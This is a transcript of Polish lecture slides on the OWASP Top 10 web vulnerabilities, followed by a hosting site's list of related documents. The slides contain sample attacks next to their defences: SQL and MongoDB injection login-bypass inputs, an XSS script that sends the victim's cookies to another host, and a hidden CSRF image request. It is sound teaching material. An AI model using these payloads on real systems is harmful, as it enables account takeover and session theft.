LUKI BEZPIECZEŃSTWA W APLIKACJACH INTERNETOWYCH. Waldemar Korłub. Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska

Wielkość: px
Rozpocząć pokaz od strony:

Download "LUKI BEZPIECZEŃSTWA W APLIKACJACH INTERNETOWYCH. Waldemar Korłub. Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska"

Transkrypt

1 LUKI BEZPIECZEŃSTWA Waldemar Korłub W APLIKACJACH INTERNETOWYCH Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska

2 OWASP Top 10 2 OWASP: Open Web Application Security Project Organizacja non-profit Niezależna od komercyjnych dostawców Wszystkie materiały dostępne na wolnych licencjach OWASP Top 10 Lista dziesięciu krytycznych zagrożeń bezpieczeństwa dla aplikacji internetowych Wyselekcjonowana jako konsensus pomiędzy ekspertami bezpieczeństwa, należącymi do organizacji

3 OWASP Top 10 3 A1 Injection A2 Broken Authentication and Session Management A3 Cross-Site Scripting (XSS) A4 Insecure Direct Object References A5 Security Misconfiguration A6 Sensitive Data Exposure A7 Missing Function Level Access Control A8 Cross-Site Request Forgery (CSRF) A9 Using Components with Known Vulnerabilities A10 Unvalidated Redirects and Forwards

4 OWASP Top 10 4 A1 Wstrzyknięcie szkodliwego kodu A2 Wadliwe uwierzytelnianie i obsługa sesji A3 Cross-Site Scripting (XSS) A4 Wyciek niezabezpieczonych obiektów A5 Luki bezpieczeństwa środowiska wykonawczego A6 Ujawnienie wrażliwych danych A7 Brak kontroli dostępu na poziomie funkcji A8 Cross-Site Request Forgery (CSRF) A9 Obecność zależności z lukami bezpieczeństwa A10 Niekontrolowane przekierowania

5 Wstrzyknięcie szkodliwego kodu (A1) 5 Wartości podane przez użytkownika są bezpośrednio przekazywane do zewnętrznego interpretera SQL Injection NoSQL Injection Parametry XPath Parametry LDAP Parametry zewnętrznych poleceń systemowych

6 SQL Injection 6 $user=$_session['id']; $status=$_get['status']; $q="select * FROM orders WHERE user_id=$user AND status='$status'"; SELECT * FROM orders WHERE user_id=1 AND status='new' OR '1' = '1 SELECT * FROM orders WHERE user_id=1 AND status='new' OR '1' = '1' //AND ma priorytet nad OR!

7 SQL Injection Strategia obrony: Zapytania z parametrami (prepared statements)

8 NoSQL Injection na przykładzie MongoDB MongoDB Nie używa parsowanego języka zapytań Dostarcza API do odpytywania bazy danych Jako takie nie jest podatne na wstrzyknięcie złośliwego kodu Ale API w konkretnych językach programowania może otwierać drogę do nadużyć m.in. API dla PHP

9 MongoDB Injection w PHP Baza użytkowników kolekcja users: { "_id": ObjectId("..."), "login": "admin", "password": "p@ssw0rd" }, { "_id": ObjectId("..."), "login": "user", "password": "h@sl0" } Hasła zapisane jawnym tekstem: poważny błąd! Ale dopóki nikt się nie włamie do bazy danych

10 MongoDB Injection w PHP Formularz logowania: <form method="post"> <input type="text" name="login" placeholder="login"/> <input type="password" name="password" placeholder="password"/> <input type="submit" value="zaloguj"/> </form>

11 MongoDB Injection w PHP Kod uwierzytelniający: $query = [ 'login' => $_POST['login'], 'password' => $_POST['password'] ]; $user = $db->users->findone($query); if ($user) { echo "Zalogowany!\n"; } else { echo "Niepoprawny login lub hasło.\n"; } Przykład: 06-mongodb-injection

12 Spreparowane zapytanie HTTP $ http -v -f POST \ \ 'login=admin' 'password[$ne]=1' Polecenie z pakietu httpie: # apt-get install httpie żądanie odpowiedź POST /wai/inject/login.php HTTP/1.1 Content-Length: 33 Content-Type: application/x-www-form-urlencoded; charset=utf-8... login=admin&password%5b%24ne%5d=1 HTTP/ OK Set-Cookie: PHPSESSID=3sg1hgdtha9lr2s4f; path=/... Zalogowany!!?!

13 MongoDB Injection w PHP Wartości parametrów z operatorem indeksowania w nazwie są umieszczane w tablicy Przydatne przy obsłudze pól typu checkbox POST: login=admin password[$ne]=1 $_POST['password']; ['$ne' => 1]; $query = [ 'login' => 'admin', 'password' => ['$ne' => 1] ]; $user = $db->users->findone($query);

14 MongoDB Injection w PHP Strategia obrony: parametry, które powinny mieć wartość skalarną, należy rzutować na typ skalarny przed użyciem Rzutowanie na ciąg znaków $query = [ 'login' => (string)$_post['login'], 'password' => (string)$_post['password'] ]; $user = $db->users->findone($query);

15 Wstrzyknięcie szkodliwego kodu 15 Wszystkie wartości, odczytywane z parametrów żądania HTTP są potencjalnie niebezpieczne! Strategie obrony: Wykrywanie niedozwolonych znaków (np. apostrof, cudzysłów, nawiasy) Kodowanie niebezpiecznych znaków na encje n Cudzysłów na " n Znak mniejszości: < na < Whitelists listy dopuszczalnych wartości

16 Wadliwe uwierzytelnianie (A2) 16 Autorskie mechanizmy zamiast rozwiązań dostarczanych przez serwer/framework/platformę Popularne rozwiązania są częściej atakowane, a przez to lepiej przetestowane n W razie wykrycia luk, społeczność deweloperów wymusza szybkie aktualizacje bezpieczeństwa n W przeciwnym razie framework/platforma szybko straci swoich użytkowników! Gotowe rozwiązania są opracowywane przez ekspertów n i uwzględniają wiele niuansów Gotowe rozwiązania są zintegrowane z serwerem bądź frameworkiem, we wszystkich jego warstwach

17 Wadliwe uwierzytelnianie 17 Co można zrobić źle w czasie ręcznego hashowania haseł? Zapomnieć (plaintext) Wykorzystanie wadliwej funkcji mieszającej (np. MD5) Wykorzystanie własnej funkcji mieszającej Niewykorzystanie ciągu mieszającego (salt) Wykorzystanie tego samego ciągu mieszającego dla wszystkich haseł Wykorzystanie zbyt krótkich ciągów mieszających Gotowa funkcja password_hash(); uwzględnia wszystkie powyższe niuanse!

18 Wadliwe zarządzanie sesją (A2) Ataki na mechanizm sesji: Session prediction Session sniffing Session fixation Man-in-the-middle Man-in-the-browser Cross-Site Scripting n m.in. wykradanie id sesji z cookies

19 Ataki na sesje: Session prediction Odgadywanie klucza kolejnej sesji na bazie klucza poprzedniej (lub kilku poprzednich) Klucze powinny być generowane nieliniowo Nie należy implementować własnych mechanizmów generowania klucza sesji session_start() domyślnie generuje trudne do odgadnięcia klucze

20 Ataki na sesje: Session sniffing Podsłuchiwanie identyfikatora sesji Wiele stron domyślnie serwuje treści bez wykorzystania szyfrowanego kanału HTTPS Oszczędność mocy obliczeniowej Przełączanie na HTTPS dopiero na czas logowania Sesja zostaje otwarta, gdy połączenie może zostać podsłuchane Po logowaniu użytkownik dalej korzysta z tej samej sesji (o takim samym identyfikatorze)

21 Ataki na sesje: Session fixation Atak na serwisy akceptujące identyfikator sesji przesłany przez użytkownika, gdy dana sesja nie istnieje np. w PHP: session.use_strict_mode akceptowanie id z żądania HTTP dla niezainicjowanej sesji, domyślnie: Off (akceptuje podatność na session fixation)

22 Man-in-the-middle Przekierowanie ruchu przez serwer napastnika <form... > <! > </form> Zlecenie przelewu Serwer napastnika

23 Man-in-the-middle Przekierowanie na poziomie serwerów DNS Wadliwe routery Wadliwe serwery proxy Strategie obrony: DNSSEC TLS n Certyfikaty potwierdzające tożsamość serwera

24 Man-in-the-browser Monitorowanie ruchu wychodzącego z przeglądarki i docierającego do niej Wtyczki do przeglądarek ActiveX (Internet Explorer)

25 XSS: Cross-Site Scripting (A3) 25 Spreparowane przez napastnika dane trafiają do przeglądarki ofiary jako fragment podatnej na atak strony Celem mogą być serwisy, w których treści umieszczają użytkownicy Serwisy aukcyjne Fora Portale społecznościowe Portale umożliwiające komentowanie treści Strona jest podatna na atak, gdy treść umieszczona przez użytkownika jest wyświetlana w surowej postaci (bez przetworzenia)

26 XSS: Cross-Site Scripting 26 Przykład złośliwej zawartości: Super okazja! Laptop XYZ123 w cenie 1999! <script> $.ajax(" {cookies: document.cookie}); </script> Kup już dziś!

27 XSS: Cross-Site Scripting 27 Autor aukcji/komentarza/postu może wprowadzić dowolną treść Jeśli nie podlega ona żadnej kontroli, zostanie wyświetlona na stronie w surowej postaci Każdy użytkownik, odwiedzający stronę, otrzyma spreparowany kod jako fragment witryny Jeśli spreparowany kod zawiera instrukcje języka JavaScript, zostaną one wykonane tak, jak skrypty dołączone do strony przez jej autora n Z dostępem do tych samych danych, z których normalnie może korzystać tylko autor witryny

28 XSS: Cross-Site Scripting 28 Inne cele ataku: Wykradzenie danych zapisanych w Web Storage Zmiana adresu URL w atrybutach action formularzy na stronie n Dane wpisane przez użytkownika do formularza zostaną wysłane na serwer napastnika Zmiana treści na zaatakowanej stronie Wszystko, co tylko można zrobić przy użyciu języka JavaScript

29 Cross-Site Scripting nie tylko Scripting 29 Złośliwy kod może mieć formę inną niż skrypty języka JavaScript <iframe> n Dołączenie dowolnej zawartości z innej witryny <form> n Formularz mający na celu wyłudzenie danych od użytkownika Kod wykorzystujący atak CSRF n A8 Cross-Site Request Forgery

30 XSS zabezpieczenia przed atakiem 30 Wszystkie treści przysyłane przez użytkowników są potencjalnie niebezpieczne! Wrażliwe pliki cookies należy zabezpieczyć dodając atrybut HttpOnly Będą dostępne tylko dla zapytań HTTP Zabezpieczenia, gdy użycie elementów HTML nie jest dopuszczane: Wycięcie wszystkich znaczników Zamiana potencjalnie niebezpiecznych znaków na bezpieczne encje n < na < oraz > na > n bloki kodu HTML wyświetlą się jako tekst na stronie

31 XSS zabezpieczenia przed atakiem 31 Gdy użytkownicy muszą mieć możliwość formatowania wysyłanych treści: Wprowadzenie innego zestawu znaczników formatujących n Np. BBCode: [b]pogrubienie[/b] [i]kursywa[/i] n Znaczniki HTML są niedozwolone w treściach wysyłanych przez użytkownika n BBCode jest zamieniany na HTML przed wyświetleniem na stronie Dopuszczanie tylko podzbioru bezpiecznych elementów n Np.: <p>, <div>, <b>, <i> Usuwanie wszystkich elementów <script> Usuwanie wszystkich atrybutów związanych ze zdarzeniami n onclick, onmouseover, itd.

32 XSS zabezpieczenia przed atakiem 32 PHP strip_tags() htmlspecialchars() htmlentities()

33 33 Kontrola dostępu we wszystkich warstwach aplikacji (A4 i A7) Aspekt bezpieczeństwa powinien przecinać aplikację na wszystkich poziomach Luka na którymkolwiek poziomie może zagrozić bezpieczeństwu całego systemu

34 Kontrola dostępu we wszystkich warstwach aplikacji (A7 i A4) 34 Warstwa prezentacji użytkownik widzi w interfejsie tylko te informacje i operacje, do których ma uprawnienia Np. nie widzi przycisku do usuwania produktu/zamówienia, jeśli nie ma uprawnień do tej operacji Warstwa operacji biznesowych/funkcji w reakcji na żądanie HTTP, wywołane mogą zostać tylko te funkcje, do których użytkownik ma uprawnienia Użytkownik może wywołać funkcję, pobierającą dane zamówienia Tylko administrator może wywołać funkcję usuwającą zamówienie Warstwa danych wywoływane funkcje mogą operować tylko na danych, które należą do użytkownika lub do których ma on uprawnienia Użytkownik może operować tylko na swoich zamówieniach

35 Kontrola dostępu w warstwie prezentacji 35 <h1>zamówienia</h1> <table>... <tr> <td> </td> </tr> <tr> <a href="/order?id=17">zamówienie #562</a> <td> </td> </tr>... Tylko zamówienia aktualnie zalogowanego użytkownika <a href="/order?id=97">zamówienie #836</a>

36 Wyciek niezabezpieczonych obiektów (A4) 36 Wszystkie parametry odczytane z żądania HTTP są potencjalnie niebezpieczne! Napastnik widzi link do własnego zamówienia: Napastnik zmienia identyfikator na inny (zamówienie innego użytkownika):

37 37 Kontrola dostępu we wszystkich warstwach aplikacji (A4 i A7) To że czegoś nie widać w interfejsie nie znaczy, że napastnik nie może spreparować żądania!

38 Kontrola dostępu w warstwie prezentacji 38 <h2>zamówienie nr 12345</h2> <!--... szczegóły zamówienia... --> <!-- operacje --> <?php if(is_user()):?> <a href="/order/17/cancel">anuluj zamówienie</a> <?php endif;?> <?php if(is_admin()):?> <a href="/order/17/delete">usuń</a> <?php endif;?>

39 Kontrola dostępu w warstwie prezentacji 39 Fakt, że użytkownik/napastnik nie widzi linka na stronie nie oznacza, że nie może on spreparować żądania ręcznie: $ telnet podatny-sklep.pl 80 GET /order/17/delete HTTP jest protokołem tekstowym łatwość ręcznego spreparowania złośliwych żądań

40 Kontrola dostępu na poziomie funkcji (A7) 40 function delete_order($order_id){ if(is_admin()){ //...operacje na bazie danych... } } function cancel_order($order_id){ if(is_user()){ $q = "UPDATE orders SET status='cancelled WHERE id = :order_id;"; } } // ustawienie parametru zapytania order_id // i wywołanie na bazie danych

41 Kontrola dostępu na poziomie funkcji 41 Wszystkie parametry odczytane z żądania HTTP są potencjalnie niebezpieczne! Napastnik widzi link do anulowania własnego zamówienia: Napastnik zmienia identyfikator na inny (zamówienie innego użytkownika):

42 Kontrola dostępu we wszystkich warstwach 42 Warstwa prezentacji Użytkownik widzi link do operacji na stronie, bo ma uprawnienia do anulowania własnych zamówień Warstwa logiki biznesowe Użytkownik może wywołać funkcję służącą do anulowania zamówienia ma uprawnienia do anulowania własnych Warstwa danych Użytkownik powinien móc modyfikować wyłącznie swoje zamówienia

43 Kontrola dostępu na poziomie danych 43 function cancel_order($order_id){ if(is_user()){ $q = "UPDATE orders SET status='cancelled WHERE id = :order_id AND user_id = :user_id;"; } } // ustawienie parametrów zapytania // i wywołanie na bazie danych

44 A5 Luki bezpieczeństwa środowiska wykonawczego 44 Bezpieczeństwo aplikacji zależy nie tylko od jej kodu Istotne są wszystkie komponenty składające się na środowisko wykonawcze Luka w bezpieczeństwie jednego z nich może zagrażać całemu systemowi System operacyjny Baza danych Serwer aplikacji Framework Biblioteki (A9 Obecność zależności z lukami bezpieczeństwa) Zewnętrzne komponenty, z którymi aplikacja się integruje

45 Wytyczne odnośnie konfiguracji środowiska wykonawczego 45 Instalowanie na bieżąco aktualizacji bezpieczeństwa Eliminacja domyślnych kont, haseł Eliminacja niepotrzebnych usług systemowych Unikalne dane dostępowe na serwerach produkcyjnych Bezpieczeństwo jako efekt solidnych protokołów i algorytmów (nie tajnych implementacji) Jawność kodu aplikacji nie powinna obniżać jej bezpieczeństwa n Szczegóły implementacyjne nie są źródłem bezpieczeństwa! Bezpieczeństwo przez przejrzystość

46 A6 Ujawnienie wrażliwych danych 46 Brak szyfrowania wrażliwych informacji Włamanie do bazy danych/na serwer ujawnia poufne informacje Niewystarczające szyfrowanie Słabe algorytmy szyfrujące, niedostateczne zabezpieczenie klucza szyfrującego Słabe funkcje mieszające do hashowania haseł n Ataki odwracające skrót, ataki wykorzystujące kolizje Niewykorzystywanie ciągu zaburzającego (salt) n Ataki słownikowe, rainbow table Ten sam ciąg zaburzający dla wszystkich haseł

47 A6 Ujawnienie wrażliwych danych 47 Brak szyfrowania/bezpieczeństwa end-to-end Rozpoczęcie sesji bez HTTPS podsłuchanie id sesji Przechowywanie wrażliwych danych w postaci zaszyfrowanej, ale transport w postaci jawnej przez niezabezpieczony kanał, np.: n Numery kart kredytowych zaszyfrowane na poziomie bazy danych n Numery są bezpiecznie przechowywane na dysku n Odpowiedzi z bazy danych na zapytania SQL zawierają numery już w postaci jawnej n Bezpieczeństwo end-to-end wymaga szyfrowania na poziomie aplikacji

48 A6 Ujawnienie wrażliwych danych 48 Brak identyfikacji wszystkich miejsc, gdzie dane mogą być zapisane Nie tylko baza danych Logi aplikacji n Komunikat błędu w logach może ujawnić wartości parametrów wywołania (np. numer karty kredytowej) n Logi są dostępne dla administratorów, programistów itd. Kopie zapasowe n Przechowywane w niezabezpieczonej lokacji lub transportowane tam bez należytych zabezpieczeń Pliki na dysku n np. dane sesji

49 CSRF: Cross-Site Request Forgery (A8) 49 Przeglądarka dołącza pliki cookies (a w nich id sesji) do wszystkich zapytań, kierowanych do witryny Nawet tych inicjowanych z innych stron Jeśli sesja dotyczy uwierzytelnionego użytkownika, zapytanie zostanie wykonane z jego uprawnieniami Pewne zasoby nie podlegają polityce single-origin: Pliki ze skryptami JavaScript Arkusze CSS Multimedia: pliki graficzne, dźwiękowe, wideo Elementy dołączane w <iframe> Aplety (np. Flash, Java) Przed ich pobraniem nie następuje negocjacja CORS (Cross-origin resource sharing)

50 CSRF: Cross-Site Request Forgery 50 Atak CSRF wykorzystuje wymienione fakty, aby wykonać akcję z uprawnieniami ofiary na podatnej stronie

51 CSRF scenariusz ataku Na stronie danger.example.com napastnik umieszcza kod, który spowoduje wysłanie przez przeglądarkę zapytania do innego serwisu: <img style="width: 0px; height: 0px" src=" content=tresc_napastnika" /> 2. Ofiara loguje się na swoje konto w serwisie społecznościowym flawedbook.com Przeglądarka otrzymuje plik cookie 3. Ofiara odwiedza stronę danger.example.com

52 CSRF scenariusz ataku Przeglądarka ofiary napotyka na element <img> w kodzie strony danger.example.com 5. Pliki graficzne nie podlegają polityce single-origin, przeglądarka konstruuje zapytanie GET, aby pobrać plik do wyświetlenia na stronie: GET content=tresc_napastnika 6. Przeglądarka dołącza do zapytania GET pliki cookies dla domeny flawedbook.com

53 CSRF scenariusz ataku Witryna flawedbook.com otrzymuje zapytanie, i odczytuje identyfikator sesji z dołączonego pliku cookie 8. Id sesji wskazuje na sesję aktualnie zalogowanego użytkownika (ofiary) dalsze operacje są wykonywane z jego uprawnieniami 9. Skrypt new_post.php odczytuje wartość parametru content i dodaje nową notatkę na koncie ofiary 10. Ofiara nie jest świadoma tego co zaszło, element <img> ma wymiary (0,0) na stronie danger.example.com nie widać nic podejrzanego

54 CSRF przyczyna podatności 54 Akceptowanie zapytań typu GET dla akcji zmieniających stan po stronie serwera Zapytanie typu POST musi być wygenerowane w skrypcie w języku JavaScript, co podlega polityce single-origin Ale jeśli witryna jest równocześnie podatna na atak XSS, to zapytanie będzie inicjowane z tej samej domeny

55 CSRF przyczyna podatności 55 Bazowanie wyłącznie na danych uwierzytelniających, które są automatycznie dołączane do zapytań niezależnie jak zostały zainicjowane Identyfikator sesji (w plikach cookies) Login i hasło dla HTTP BASIC Certyfikaty SSL użytkownika

56 CSRF obrona przed atakiem 56 Dołączenie tokenów dostępowych Trudnych do odgadnięcia, najlepiej jednorazowych Lokalnych w obrębie strony nie dołączanych automatycznie do każdego zapytania przez przeglądarkę <form> <input type="hidden" value="5ade7311ef273982bc780ef23ac088" name="csrf_security_token">... Większość popularnych frameworków może robić to automatycznie W niektórych frameworkach jest to domyślne zachowanie Niektóre trzeba skonfigurować, aby korzystały z tej funkcji

57 CSRF obrona przed atakiem 57 Zabezpieczenie strony przez atakami XSS Nawet jeśli użyjemy tokenów lokalnych względem strony, to atak XSS ujawni je napastnikowi Wymaganie zapytań POST do zmiany stanu po stronie serwera Zapytanie GET może ujawnić token dostępowy napastnikowi, np. nagłówek Referer po przejściu na stronę napastnika

58 A9 Obecność zależności z lukami bezpieczeństwa 58 Współczesne aplikacje w dużej mierze opierają się na funkcjach bibliotek zewnętrznych (3rd party) Zamiast samodzielnie implementować typowe mechanizmy, posługujemy się gotowymi rozwiązaniami n Integracja z płatnościami n Rozsyłanie powiadomień mailowych n Dostęp do bazy danych Sprawdzone i przetestowane przez wielu autorów aplikacji Skrócenie czasu potrzebnego na wytworzenie aplikacji Wytwarzanie aplikacji poprzez wybór zbioru bibliotek i zintegrowanie ich funkcji w jednym produkcie

59 Zewnętrzne zależności 59 Każdy zewnętrzny komponent/biblioteka może zawierać luki bezpieczeństwa Luki w zależnościach mogą być wykorzystane do ataku na naszą aplikację Jak wybierać biblioteki? Lista pytań kontrolnych: Czy biblioteka jest popularna? Czy biblioteka jest aktywnie rozwijana? Jak szybko wydawane są poprawki błędów? Czy starsze wersje są wspierane? n Czy otrzymują aktualizacje bezpieczeństwa?

60 Zewnętrzne zależności gdy już je mamy 60 Monitorowanie komunikatów bezpieczeństwa, nowych wydań Automatyzacja zarządzania zależnościami i ich wersjami PHP: Composer Java: Maven, Ant/Ivy, Gradle

61 A10 Niekontrolowane przekierowania 61 O celu przekierowania często decydują wartości parametrów zapytania Podatne na atak przekierowanie: $page = $_REQUEST['page']; require $page.'php';

62 A10 Niekontrolowane przekierowania 62 Wszystkie parametry odczytane z żądania HTTP są potencjalnie niebezpieczne! Obrona przed niekontrolowanymi przekierowaniami: Weryfikacja wartości parametrów determinujących przekierowanie Whitelisty dopuszczalnych wartości

63 Podsumowanie 63 Bezpieczeństwo aplikacji nie jest szczegółem implementacyjnym Aspekty bezpieczeństwa wpływają na architekturę aplikacji Bezpieczeństwo należy uwzględnić w projekcie aplikacji Bezpieczeństwa nie można dodać ad-hoc

64 Pamiętajmy Wszystkie informacje odczytane z żądania HTTP są potencjalnie niebezpieczne

65 Pytania?

The OWASP Foundation http://www.owasp.org. Session Management. Sławomir Rozbicki. slawek@rozbicki.eu

The OWASP Foundation http://www.owasp.org. Session Management. Sławomir Rozbicki. slawek@rozbicki.eu The OWASP Foundation http://www.owasp.org Session Management Sławomir Rozbicki slawek@rozbicki.eu 28-07-2011 OWASP TOP 10 A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session

Bardziej szczegółowo

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework Uniwersytet Zielonogórski Wydział Elektrotechniki, Informatyki i Telekomunikacji Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework mgr inż. Łukasz Stefanowicz dr inż.

Bardziej szczegółowo

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW Ataki na aplikacje WWW Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW Ataki na aplikację Ataki na przeglądarkę Ataki na serwer WWW/kontener, etc. Często kombinacja i wiele etapów Którędy do środka

Bardziej szczegółowo

Bezpieczeństwo aplikacji internetowych

Bezpieczeństwo aplikacji internetowych Bezpieczeństwo internetowych Marek Zachara http://marek.zachara.name 1/23 Aplikacje internetowe znajdują się pod ciągłym 'ostrzałem' Jest to wynikiem skali: ponad 3 mld użytkowników sieci 900 mln 'hostnames'

Bardziej szczegółowo

OWASP. The Open Web Application Security Project. OWASP Top 10 2010 rc1. Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach

OWASP. The Open Web Application Security Project. OWASP Top 10 2010 rc1. Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach OWASP The Open Web Application Security Project OWASP Top 10 2010 rc1 Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach Release Candidate 1 (tłum.+ zmiany: Michał Wiczyński, http://thinklikeninja.blogspot.com)

Bardziej szczegółowo

Projektowani Systemów Inf.

Projektowani Systemów Inf. Projektowani Systemów Inf. Wykład VII Bezpieczeństwo Copyrights by Arkadiusz Rzucidło 1 Bezpieczeństwo Bezpieczeństwo związane z danymi Konstrukcja magazynów danych Mechanizmy zapisu i modyfikacji danych

Bardziej szczegółowo

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa, Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa, 2008-01-08 1 Agenda 1. Teza 2. Bezpieczeństwo aplikacji internetowych Usługi bezpieczeństwa

Bardziej szczegółowo

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (http://www.amu.edu.pl/~mtanas)

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (http://www.amu.edu.pl/~mtanas) Hosting WWW Bezpieczeństwo hostingu WWW Dr Michał Tanaś (http://www.amu.edu.pl/~mtanas) Najgroźniejsze ataki na serwer WWW Najgroźniejsze ataki na serwer WWW Cross-site scripting (XSS) SQL injection Denial

Bardziej szczegółowo

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania Zagrożenia trywialne Zagrożenia bezpieczeństwa aplikacji internetowych Rozwiązania charakterystyczne dla fazy rozwoju opisy rozpoznanych błędów, debugging, komentarze poprzednie wersje plików (cp plik.jsp

Bardziej szczegółowo

Baza danych do przechowywania użytkowników

Baza danych do przechowywania użytkowników System logowania i rejestracji jest bardzo przydatną funkcjonalnością na każdej stronie. Umożliwia sprawną identyfikację i zarządzanie użytkownikami. Strona ze skryptem logowania nabiera dużej wartości.

Bardziej szczegółowo

Bezpieczeństwo systemów komputerowych

Bezpieczeństwo systemów komputerowych Bezpieczeństwo systemów komputerowych Zagrożenia dla aplikacji internetowych Aleksy Schubert (Marcin Peczarski) Instytut Informatyki Uniwersytetu Warszawskiego 15 grudnia 2015 Lista zagadnień Wstrzykiwanie

Bardziej szczegółowo

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet Zagrożenia związane z udostępnianiem aplikacji w sieci Internet I Ogólnopolska Konferencja Informatyki Śledczej Katowice, 8-9 stycznia 2009 Michał Kurek, Aleksander Ludynia Cel prezentacji Wskazanie skali

Bardziej szczegółowo

OWASP i Top 10 Sposób tworzenia Top 10 Czym jest a czym NIE jest Top 10? Zmiany w wersji 2013 Omówienie nowych podatności na liście Podsumowanie

OWASP i Top 10 Sposób tworzenia Top 10 Czym jest a czym NIE jest Top 10? Zmiany w wersji 2013 Omówienie nowych podatności na liście Podsumowanie OWASP i Top 10 Sposób tworzenia Top 10 Czym jest a czym NIE jest Top 10? Zmiany w wersji 2013 Omówienie nowych podatności na liście Podsumowanie ponad Top 10 Misja: Poprawa stanu bezpieczeństwa aplikacji

Bardziej szczegółowo

Aspekty bezpieczeństwa aplikacji internetowych

Aspekty bezpieczeństwa aplikacji internetowych Aspekty bezpieczeństwa aplikacji internetowych Kamil Witecki (kamil@witecki.net.pl) Wojciech Wodo (wojciech.wodo@gmail.com) 21 kwietnia 2010 Kto, co, dlaczego? Popularne typy ataków Kim jesteśmy i dlaczego

Bardziej szczegółowo

Drobne błędy w portalach WWW

Drobne błędy w portalach WWW Drobne błędy w portalach WWW Borys Łącki http://www.logicaltrust.net XIX Górska Szkoła Informatyki / Szczyrk, 23-26.06.2008 r. LogicalTrust wyizolowany departament bezpieczeństwa IT Business Consulting

Bardziej szczegółowo

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar) Tworzenie witryn internetowych PHP/Java (mgr inż. Marek Downar) Rodzaje zawartości Zawartość statyczna Treść statyczna (np. nagłówek, stopka) Layout, pliki multimedialne, obrazki, elementy typograficzne,

Bardziej szczegółowo

Wprowadzenie do Internetu Zajęcia 5

Wprowadzenie do Internetu Zajęcia 5 Zajęcia 5 Formularze w PHP Przekazywanie danych ze strony do skryptu PHP Dane ze strony WWW do skryptu PHP można przekazać za pomocą formularzy. W tym celu należy stworzyć formularz (znacznik ),

Bardziej szczegółowo

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty Wprowadzenie do kryptografii i bezpieczeństwa Po raz czwarty WWW i e-mail WWW HTTPS & SSL doesn't mean "trust this." It means "this is private." You may be having a private conversation with Satan. Hanselman

Bardziej szczegółowo

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

Języki programowania wysokiego poziomu. PHP cz.3. Formularze Języki programowania wysokiego poziomu PHP cz.3. Formularze Formularze Sposób przesyłania danych formularza do serwera zależy od wybranej metody HTTP: Metoda GET

Bardziej szczegółowo

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne Jarosław Kuchta Internetowe Usługi Informacyjne Komponenty IIS HTTP.SYS serwer HTTP zarządzanie połączeniami TCP/IP buforowanie odpowiedzi obsługa QoS (Quality of Service) obsługa plików dziennika IIS

Bardziej szczegółowo

OWASP OWASP. The OWASP Foundation http://www.owasp.org. Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

OWASP OWASP. The OWASP Foundation http://www.owasp.org. Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek Cross-Site Scripting Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek Copyright The Foundation Permission is granted to copy, distribute and/or modify this document under the terms of

Bardziej szczegółowo

Zarządzanie sesją w aplikacjach Internetowych. Kraków, 2008-10-23 Paweł Goleń

Zarządzanie sesją w aplikacjach Internetowych. Kraków, 2008-10-23 Paweł Goleń Zarządzanie sesją w aplikacjach Internetowych Kraków, 2008-10-23 Paweł Goleń Agenda Po co sesje w aplikacjach internetowych Sposoby przekazywania identyfikatorów Sposoby ochrony Cookie Analiza identyfikatora

Bardziej szczegółowo

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII Wrocław 2006 INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII Paweł Skrobanek C-3, pok. 323 e-mail: pawel.skrobanek@pwr.wroc.pl INTERNETOWE BAZY DANYCH PLAN NA DZIŚ : Cookies Sesje Inne możliwości

Bardziej szczegółowo

Internetowe bazy danych

Internetowe bazy danych Wyższa Szkoła Technologii Teleinformatycznych w Świdnicy Internetowe bazy danych wykład 6 dr inż. Jacek Mazurkiewicz e-mail: Jacek.Mazurkiewicz@pwr.wroc.pl Kontrola dostępu

Bardziej szczegółowo

Dokumentacja smsapi wersja 1.4

Dokumentacja smsapi wersja 1.4 Dokumentacja smsapi wersja 1.4 1. Wprowadzenie Platforma smsapi została skierowana do użytkowników chcących rozbudować swoje aplikacje o system wysyłania smsów. Aplikacja ta w prosty sposób umożliwia integrację

Bardziej szczegółowo

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

